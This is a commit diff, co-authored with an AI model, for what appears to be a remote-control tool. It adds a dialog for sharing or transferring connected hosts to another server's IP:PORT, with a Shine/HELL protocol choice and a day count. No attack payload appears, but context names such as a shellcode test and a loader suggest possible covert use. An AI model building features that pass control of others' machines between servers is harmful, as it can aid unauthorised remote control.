Feature: Add Shine/HELL protocol selection to share/transfer host

Add a dedicated ShareHostDlg with a "Use Shine protocol" checkbox (default
checked) so the operator can choose Shine (0) or HELL (1) when sharing or
transferring a host. The chosen protocol is appended to the wire payload as a
trailing colon field: "IP:PORT:0/1" for share and "IP:PORT:days:0/1" for
transfer.

The client parses the trailing field from COMMAND_SHARE and
COMMAND_ASSIGN_MASTER, applies it to new connections, and persists it so
auto-share/auto-transfer on restart keeps the same protocol. Old clients
ignore the extra field, and old/missing payloads fall back to -1 (baked-in
HELL), preserving compatibility with existing servers and share_list entries.

Co-Authored-By: deepseek-v4-pro
This commit is contained in:
yuanyuanxianganddeepseek-v4-pro committed 2026-09-11 16:28:37 +02:00
1 parent 42df128f62
commit e9d60e6e23
12 files changed
+223 -17

No files matched your search

Binary file not shown.
+14 -11
View File
@@ -27,6 +27,7 @@
#include <filesystem>
#include "KeyBoardDlg.h"
#include "InputDlg.h"
#include "ShareHostDlg.h"
#include "CPasswordDlg.h"
#include "FeatureFlags.h"
#include "FeatureLimitsDlg.h"
@@ -7903,7 +7904,7 @@ LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
void CMy2015RemoteDlg::OnOnlineShare()
{
CInputDialog dlg(this);
CShareHostDlg dlg(this, FALSE);
dlg.Init(_TR("分享主机"), _TR("输入<IP:PORT>地址:"));
dlg.SetHistoryKey("ShareAddress");
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
@@ -7912,9 +7913,10 @@ void CMy2015RemoteDlg::OnOnlineShare()
MessageBoxL("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
return;
}
CharMsg* buf = new CharMsg(dlg.m_str.GetLength()+1);
memcpy(buf->data, dlg.m_str, dlg.m_str.GetLength());
buf->data[dlg.m_str.GetLength()] = 0;
CString payload = dlg.m_str + _T(":") + (dlg.m_bShine ? _T("0") : _T("1"));
CharMsg* buf = new CharMsg(payload.GetLength()+1);
memcpy(buf->data, payload, payload.GetLength());
buf->data[payload.GetLength()] = 0;
PostMessageA(WM_SHARE_CLIENT, (WPARAM)buf, NULL);
}
@@ -9779,26 +9781,27 @@ void CMy2015RemoteDlg::OnShellcodeTestAesBin()
void CMy2015RemoteDlg::OnOnlineAssignTo()
{
CInputDialog dlg(this);
CShareHostDlg dlg(this, TRUE);
dlg.Init(_TR("转移主机(到期自动复原)"), _TR("输入<IP:PORT>地址:"));
dlg.SetHistoryKey("ShareAddress");
dlg.Init2(_TR("天数(支持浮点数):"), "30");
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty() || atof(dlg.m_sSecondInput.GetString())<=0)
dlg.InitDays(_TR("天数(支持浮点数):"), "30");
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty() || atof(dlg.m_sDays.GetString())<=0)
return;
if (dlg.m_str.GetLength() >= 250) {
MessageBoxL("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
return;
}
if (dlg.m_sSecondInput.GetLength() >= 6) {
if (dlg.m_sDays.GetLength() >= 6) {
MessageBoxL("超出使用时间可输入的字符数限制!", "提示", MB_ICONINFORMATION);
return;
}
CString daysProto = dlg.m_sDays + _T(":") + (dlg.m_bShine ? _T("0") : _T("1"));
CharMsg* buf1 = new CharMsg(dlg.m_str.GetLength() + 1);
CharMsg* buf2 = new CharMsg(dlg.m_sSecondInput.GetLength() + 1);
CharMsg* buf2 = new CharMsg(daysProto.GetLength() + 1);
memcpy(buf1->data, dlg.m_str, dlg.m_str.GetLength());
memcpy(buf2->data, dlg.m_sSecondInput, dlg.m_sSecondInput.GetLength());
memcpy(buf2->data, daysProto, daysProto.GetLength());
buf1->data[dlg.m_str.GetLength()] = 0;
buf2->data[dlg.m_sSecondInput.GetLength()] = 0;
buf2->data[daysProto.GetLength()] = 0;
PostMessageA(WM_ASSIGN_CLIENT, (WPARAM)buf1, (LPARAM)buf2);
}
@@ -334,6 +334,7 @@
<ClInclude Include="NotifySettingsDlg.h" />
<ClInclude Include="FeatureLimitsDlg.h" />
<ClInclude Include="FrpsForSubDlg.h" />
<ClInclude Include="ShareHostDlg.h" />
<ClInclude Include="PluginSettingsDlg.h" />
<ClInclude Include="PreviewTipWnd.h" />
<ClInclude Include="TriggerSettingsDlg.h" />
@@ -462,6 +463,7 @@
<ClCompile Include="NotifySettingsDlg.cpp" />
<ClCompile Include="FeatureLimitsDlg.cpp" />
<ClCompile Include="FrpsForSubDlg.cpp" />
<ClCompile Include="ShareHostDlg.cpp" />
<ClCompile Include="Loader.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
@@ -76,6 +76,7 @@
<ClCompile Include="NotifyManager.cpp" />
<ClCompile Include="NotifySettingsDlg.cpp" />
<ClCompile Include="FrpsForSubDlg.cpp" />
<ClCompile Include="ShareHostDlg.cpp" />
<ClCompile Include="NetworkDlg.cpp" />
<ClCompile Include="IPHistoryDlg.cpp" />
<ClCompile Include="FeatureLimitsDlg.cpp" />
@@ -181,6 +182,7 @@
<ClInclude Include="NotifyManager.h" />
<ClInclude Include="NotifySettingsDlg.h" />
<ClInclude Include="FrpsForSubDlg.h" />
<ClInclude Include="ShareHostDlg.h" />
<ClInclude Include="TerminalModuleLoader.h" />
<ClInclude Include="..\..\common\SafeString.h" />
<ClInclude Include="NetworkDlg.h" />
+125
View File
@@ -0,0 +1,125 @@
// ShareHostDlg.cpp: 分享主机 / 转移主机 专用对话框实现
//
#include "stdafx.h"
#include "ShareHostDlg.h"
#include "2015Remote.h"
#include <algorithm>
CShareHostDlg::CShareHostDlg(CWnd* pParent /*=nullptr*/, BOOL bNeedDays /*=FALSE*/)
: CDialogLangEx(IDD_DIALOG_SHARE_HOST, pParent)
, m_bNeedDays(bNeedDays)
, m_bShine(TRUE)
{
}
CShareHostDlg::~CShareHostDlg()
{
}
void CShareHostDlg::Init(LPCTSTR caption, LPCTSTR prompt)
{
m_sCaption = caption;
m_sPrompt = prompt;
}
void CShareHostDlg::InitDays(LPCTSTR name, LPCTSTR defaultValue)
{
m_sDaysName = name;
m_sDays = defaultValue;
}
void CShareHostDlg::SetHistoryKey(LPCTSTR historyKey)
{
m_sHistoryKey = historyKey;
}
void CShareHostDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogLangEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_SHARE_ADDRESS, m_ComboInput);
DDX_Control(pDX, IDC_STATIC_SHARE_DAYS, m_StaticDays);
DDX_Control(pDX, IDC_EDIT_SHARE_DAYS, m_EditDays);
DDX_Control(pDX, IDC_CHECK_USE_SHINE, m_CheckShine);
}
BEGIN_MESSAGE_MAP(CShareHostDlg, CDialogLangEx)
END_MESSAGE_MAP()
BOOL CShareHostDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
SetWindowText(m_sCaption);
SetDlgItemText(IDC_STATIC_SHARE_ADDRESS, m_sPrompt);
SetDlgItemText(IDC_CHECK_USE_SHINE, _TR("使用 Shine 协议(兼容 Go 服务端)"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
// 天数(仅转移主机显示)
m_StaticDays.SetWindowTextA(m_sDaysName);
m_StaticDays.ShowWindow(m_bNeedDays ? SW_SHOW : SW_HIDE);
m_EditDays.SetWindowTextA(m_sDays);
m_EditDays.ShowWindow(m_bNeedDays ? SW_SHOW : SW_HIDE);
// 默认勾选 Shine
m_CheckShine.SetCheck(m_bShine ? BST_CHECKED : BST_UNCHECKED);
LoadHistory();
m_ComboInput.SetWindowText(m_str);
return TRUE;
}
void CShareHostDlg::OnOK()
{
m_ComboInput.GetWindowText(m_str);
m_bShine = (m_CheckShine.GetCheck() == BST_CHECKED);
if (m_bNeedDays)
m_EditDays.GetWindowText(m_sDays);
SaveHistory();
CDialogLangEx::OnOK();
}
void CShareHostDlg::LoadHistory()
{
if (m_sHistoryKey.IsEmpty()) return;
std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString());
if (history.empty()) return;
auto items = StringToVector(history, '|');
for (size_t i = 0; i < items.size() && i < 16; i++) {
if (!items[i].empty()) {
m_ComboInput.AddString(items[i].c_str());
}
}
}
void CShareHostDlg::SaveHistory()
{
if (m_sHistoryKey.IsEmpty() || m_str.IsEmpty()) return;
std::string newValue = m_str.GetString();
if (newValue.find('|') != std::string::npos) return;
std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString());
auto items = StringToVector(history, '|');
items.erase(std::remove(items.begin(), items.end(), newValue), items.end());
items.erase(std::remove(items.begin(), items.end(), std::string("")), items.end());
items.insert(items.begin(), newValue);
if (items.size() > 16) {
items.resize(16);
}
std::string result;
for (size_t i = 0; i < items.size(); i++) {
if (i > 0) result += '|';
result += items[i];
}
THIS_CFG.SetStr("history", m_sHistoryKey.GetString(), result);
}
+45
View File
@@ -0,0 +1,45 @@
#pragma once
#include "resource.h"
#include "LangManager.h"
// 分享主机 / 转移主机 专用对话框(带 Shine/HELL 协议勾选)
class CShareHostDlg : public CDialogLangEx
{
public:
CShareHostDlg(CWnd* pParent = nullptr, BOOL bNeedDays = FALSE);
virtual ~CShareHostDlg();
enum { IDD = IDD_DIALOG_SHARE_HOST };
void Init(LPCTSTR caption, LPCTSTR prompt);
void InitDays(LPCTSTR name, LPCTSTR defaultValue); // 仅转移主机显示
void SetHistoryKey(LPCTSTR historyKey);
// 结果
CString m_str; // 地址 IP:PORT
CString m_sDays; // 天数(转移主机)
BOOL m_bShine; // TRUE=Shine(0), FALSE=HELL(1)
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
virtual void OnOK();
DECLARE_MESSAGE_MAP()
CString m_sCaption;
CString m_sPrompt;
CString m_sDaysName;
CString m_sHistoryKey;
BOOL m_bNeedDays;
CComboBox m_ComboInput;
CStatic m_StaticDays;
CEdit m_EditDays;
CButton m_CheckShine;
void LoadHistory();
void SaveHistory();
};
+1
View File
@@ -390,6 +390,7 @@ Rar
客户管理=Client Mgmt
转移主机=Transfer Host
分享主机=Share Host
使用 Shine 协议(兼容 Go 服务端)=Use Shine protocol (Go-server compatible)
取消分享=Cancel Sharing
确定取消分享主机? 将撤销全部的分享链接。=Cancel sharing clients? This will remove all share links.
删除主机=Delete Host
+1
View File
@@ -390,6 +390,7 @@ Rar
客户管理=用戶管理
转移主机=轉移主機
分享主机=分享主機
使用 Shine 协议(兼容 Go 服务端)=使用 Shine 協議(相容 Go 伺服器)
取消分享=取消分享
确定取消分享主机? 将撤销全部的分享链接。=确定取消分享主机? 将撤销全部的分享链接。
删除主机=刪除主機
+9 -2
View File
@@ -1049,13 +1049,20 @@
#define IDC_PLEVEL_QUALITY 2578
#define IDC_PLEVEL_RESET 2584
#define IDD_DIALOG_SHARE_HOST 402
#define IDC_STATIC_SHARE_ADDRESS 2585
#define IDC_EDIT_SHARE_ADDRESS 2586
#define IDC_CHECK_USE_SHINE 2587
#define IDC_STATIC_SHARE_DAYS 2588
#define IDC_EDIT_SHARE_DAYS 2589
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 401
#define _APS_NEXT_RESOURCE_VALUE 403
#define _APS_NEXT_COMMAND_VALUE 33085
#define _APS_NEXT_CONTROL_VALUE 2585
#define _APS_NEXT_CONTROL_VALUE 2590
#define _APS_NEXT_SYMED_VALUE 105
#endif
#endif